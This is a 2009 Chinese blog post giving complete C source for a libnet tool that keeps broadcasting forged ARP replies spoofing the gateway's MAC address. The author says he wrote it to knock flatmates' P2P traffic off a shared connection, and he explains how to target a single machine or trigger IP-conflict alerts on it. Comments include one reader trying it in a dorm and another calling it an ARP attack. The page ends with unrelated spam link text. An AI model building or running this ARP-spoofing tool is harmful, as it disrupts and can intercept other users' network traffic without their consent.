• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            Heath's Blog

            There is no end, it is just the beginning! - A Game Developer's Notes

            Using libnet to send arp package

                把本子的系統(tǒng)換成OpenSuse11.1后,發(fā)現(xiàn)與別人合用1M帶寬幾乎不能訪問網(wǎng)絡(luò),在多次聲明限制P2P下載速度無果后,想到了以前使用P2P Killer的經(jīng)驗,決定自己寫一個發(fā)送arp偽造應(yīng)答包的程序。
                P2P Killer中文名為P2P終結(jié)者,其原理是監(jiān)聽arp數(shù)據(jù)包,根據(jù)設(shè)定帶寬,利用一定的時間間隔算法發(fā)送偽造的arp應(yīng)答包。
                由于arp屬于鏈路層協(xié)議,如果利用原始套接字來做,估計半天時間完不成,所以搜索了一下,發(fā)現(xiàn)libnet是個比較成熟的網(wǎng)絡(luò)庫。libnet幾乎涵蓋了整個TCP/IP協(xié)議:


                使用libnet來構(gòu)造這么一個小應(yīng)用,應(yīng)該是小菜一碟。

                下面是source codes:

            /**
                A APR reply package sender

                @author heath(heath.luo@gmail.com)
                @date Jan. 17, 2009
                @version 0.01
            */


            #include 
            <stdio.h>
            #include 
            <libnet.h>

            #ifndef HRD_ALEN
            #define HRD_ALEN 6    ///< hardware address length
            #endif

            #ifndef PRO_ALEN
            #define PRO_ALEN 4    ///< protocol address format 
            #endif

            static u_char ucHdr_src[HRD_ALEN] = {0x11 , 0x22 , 0x33 , 0x44 , 0x55 , 0x66};
            static u_char ucHdr_dst[HRD_ALEN] = {0xff , 0xff , 0xff , 0xff , 0xff , 0xff};    ///< broadcasting by default

            static u_char ucPro_src[PRO_ALEN] = {192 , 168 , 1 , 1};
            static u_char ucPro_dst[PRO_ALEN] = {192 , 168 , 1 , 2};

            void Usage();
            void ParseParams(int argc , char** argv);
            void TestParams();
            void SendPackage();

            int main(int argc , char** argv)
            {
                ParseParams(argc , argv);
                TestParams();
                SendPackage();
            }


            void Usage()
            {
                printf(
            "-h : help\n-d : target hardware address(using \'-\' to seperate)\n-m : sender hardware address(using \'-\' to seperate)\n-i : sender ip address(using \'.\' to seperate)\n");
            }


            void ParseParams(int argc , char** argv)
            {
                
            int c;
                u_char
            * cp;
                
            int i;
                u_char bError;

                
            while((c = getopt(argc , argv , "hd:m:i:")) != -1)
                
            {
                    
            switch(c)
                    
            {
                    
            case 'h':
                        Usage();
                        
            break;
                    
            case 'd':
                        bError 
            = 0;
                        
            for(i = 1; i <= HRD_ALEN - 1++i)
                        
            {
                            
            if((cp = strrchr(optarg , '-')))
                            
            {
                                
            *cp++ = 0;
                                ucHdr_dst[HRD_ALEN 
            - i] = (u_char)strtol(cp , NULL , 16);
                            }

                            
            else
                                bError 
            = 1;
                        }

                        
            if(bError)
                        
            {
                            printf(
            "Parameters Error!\n");
                            Usage();
                            exit(
            -1);
                        }

                        
            else
                            ucHdr_dst[
            0= (u_char)strtol(optarg , NULL , 16);
                        
            break;
                    
            case 'm':
                        bError 
            = 0;
                        
            for(i = 1; i <= HRD_ALEN - 1++i)
                        
            {
                            
            if((cp = strrchr(optarg , '-')))
                            
            {
                                
            *cp++ = 0;
                                ucHdr_src[HRD_ALEN 
            - i] = (u_char)strtol(cp , NULL , 16);
                            }

                            
            else
                                bError 
            = 1;
                        }

                        
            if(bError)
                        
            {
                            printf(
            "Parameters Error!\n");
                            Usage();
                            exit(
            -1);
                        }

                        
            else
                            ucHdr_src[
            0= (u_char)strtol(optarg , NULL , 16);
                        
            break;
                    
            case 'i':
                        bError 
            = 0;
                        
            for(i = 1; i <= PRO_ALEN - 1++i)
                        
            {
                            
            if((cp = strrchr(optarg , '.')))
                            
            {
                                
            *cp++ = 0;
                                ucPro_src[PRO_ALEN 
            - i] = (u_char)atoi(cp);
                            }

                            
            else
                                bError 
            = 1;
                        }

                        
            if(bError)
                        
            {
                            printf(
            "Parameters Error!\n");
                            Usage();
                            exit(
            -1);
                        }

                        
            else
                            ucPro_src[
            0= (u_char)atoi(optarg);
                        
            break;
                    
            default:
                        Usage();
                    }

                }

            }


            void TestParams()
            {
                printf(
            "======Parameters======\n");
                printf(
            "ucHdr_src : %x , %x , %x , %x , %x , %x\n" , ucHdr_src[0] , ucHdr_src[1] , ucHdr_src[2] , ucHdr_src[3] ,ucHdr_src[4] , ucHdr_src[5]);
                printf(
            "ucHdr_dst : %x , %x , %x , %x , %x , %x\n" , ucHdr_dst[0] , ucHdr_dst[1] , ucHdr_dst[2] , ucHdr_dst[3] ,ucHdr_dst[4] , ucHdr_dst[5]);
                printf(
            "ucPro_src : %x , %x , %x , %x\n" , ucPro_src[0] , ucPro_src[1] , ucPro_src[2] , ucPro_src[3]);
                printf(
            "ucPro_dst : %x , %x , %x , %x\n" , ucPro_dst[0] , ucPro_dst[1] , ucPro_dst[2] , ucPro_dst[3]);
                printf(
            "======End=====\n");
            }


            void SendPackage()
            {
                libnet_t
            * pLibnet = NULL;
                
            char strError[LIBNET_ERRBUF_SIZE];
                libnet_ptag_t ptArp 
            = 0;
                libnet_ptag_t ptEth 
            = 0;

                pLibnet 
            = libnet_init(LIBNET_LINK , "eth0" , strError);
                
            if(!pLibnet)
                
            {
                    printf(
            "Libnet Error in libnet_init:%s\n" , strError);
                    exit(
            -1);
                }


                ptArp 
            = libnet_build_arp(ARPHRD_ETHER , ETHERTYPE_IP , 
                    HRD_ALEN , PRO_ALEN , 
                    ARPOP_REPLY , 
                    ucHdr_src , ucPro_src ,
                    ucHdr_dst , ucPro_dst ,
                    NULL , 
            0 ,
                    pLibnet ,
                    ptArp);
                
            if(ptArp < 0)
                
            {
                    printf(
            "Libnet Error in libnet_build_arp!\n");
                    exit(
            -1);
                }


                ptEth 
            = libnet_build_ethernet(ucHdr_dst , ucHdr_src ,
                    ETHERTYPE_ARP , NULL , 
            0 , pLibnet , ptEth);
                
            if(ptEth < 0)
                
            {
                    printf(
            "Libnet Error in libnet_build_ethernet!\n");
                    exit(
            -1);
                }

                
                
            while(1)
            {
                
            if(libnet_write(pLibnet) < 0)
                
            {
                    printf(
            "Libnet Error in libnet_write!\n");
                    exit(
            -1);
                }

                sleep(
            5);
            }

                libnet_destroy(pLibnet);
            }


                由于ARP處于link layer,所以目標(biāo)協(xié)議地址(由ucPro_dst給出)是沒用的。對于ARP數(shù)據(jù)包格式的詳細(xì)說明,可以參考《TCP-IP詳解卷1》第4章。
                該程序缺省情況下是偽造網(wǎng)關(guān)(192.168.1.1)的MAC地址廣播給網(wǎng)段內(nèi)所有機器。如果想針對特定機器發(fā)送,可以通過-d來指定其MAC地址:
                arphacker -d <目標(biāo)機MAC地址> -m <欲偽造的arp應(yīng)答發(fā)送方MAC地址> -i <欲偽造的arp應(yīng)答發(fā)送方IP地址>
                利用ping+arp命令獲得對方的MAC地址后,每隔一定時間發(fā)送偽造網(wǎng)關(guān)的MAC地址,可使對方的大量P2P數(shù)據(jù)包找不到北,從而給自己留出帶寬。
                如果你希望給予對方提示,讓其彈出“IP地址沖突”氣球(windows平臺有效),可以將-m后的參數(shù)改為一個與目標(biāo)機不一樣的MAC地址,而-i給出目標(biāo)機的IP。
                下圖為在虛擬機上運行的截圖:


            NOTE: 本人開發(fā)此程序?qū)崒俦槐茻o奈,在連打開網(wǎng)頁、上QQ的基本權(quán)力被剝奪之后,決定拿起自己手中之劍,維護(hù)自己的權(quán)益。昨天晚上,使用了一下,可以上網(wǎng)了,這也算是寫代碼帶來的樂趣吧。

            參考文獻(xiàn):
            [1] libnet. http://www.packetfactory.net/libnet/

            posted on 2009-01-18 16:28 Heath 閱讀(2081) 評論(4)  編輯 收藏 引用 所屬分類: Network

            Feedback

            # re: Using libnet to send arp package 2009-01-19 09:23 J.A.M

            代碼看不懂,
            對網(wǎng)絡(luò)不了解,學(xué)習(xí)...  回復(fù)  更多評論   

            # re: Using libnet to send arp package 2009-05-17 16:45 asdrtf

            很好用,我用宿舍的電腦試了一下,不錯,包括虛擬機在內(nèi)都有!  回復(fù)  更多評論   

            # re: Using libnet to send arp package 2009-07-30 11:22 evoup

            是ARP攻擊吧,這都被你想到了,用此法攻擊網(wǎng)上鄰居,汗~  回復(fù)  更多評論   

            # re: Using libnet to send arp package 2009-12-05 21:08 parkerzhu

            好文,學(xué)習(xí)了,有空GUI化一下^_^  回復(fù)  更多評論   


            只有注冊用戶登錄后才能發(fā)表評論。
            網(wǎng)站導(dǎo)航: 博客園   IT新聞   BlogJava   博問   Chat2DB   管理


            女同久久| 久久精品国产2020| 99久久精品国产综合一区 | 成人精品一区二区久久久| 国产99久久久国产精免费| 久久国产成人午夜aⅴ影院| 欧美成人免费观看久久| 青青草原精品99久久精品66| 久久99精品久久久久久久久久 | 久久久精品久久久久久| 久久无码高潮喷水| 国产精品无码久久久久| 无码精品久久久天天影视| 国内精品久久久久久久亚洲| 伊人久久综合无码成人网| 国产巨作麻豆欧美亚洲综合久久 | 99久久伊人精品综合观看| 国产精品一区二区久久精品涩爱| 国内精品伊人久久久久AV影院| 久久亚洲精品无码播放| 久久久精品一区二区三区| 久久亚洲AV无码精品色午夜| 久久露脸国产精品| 久久免费高清视频| 国产精品免费福利久久| 无码人妻久久久一区二区三区| 久久综合视频网站| 91精品观看91久久久久久| 久久777国产线看观看精品| 久久丫精品国产亚洲av| 伊人久久精品无码av一区| 久久久这里有精品| 久久无码中文字幕东京热| 久久人人爽人人爽人人片AV东京热| 久久精品国产72国产精福利| 精品一二三区久久aaa片| 国产成人久久777777| 热re99久久6国产精品免费| 精品九九久久国内精品| 久久久免费精品re6| 色婷婷综合久久久久中文一区二区 |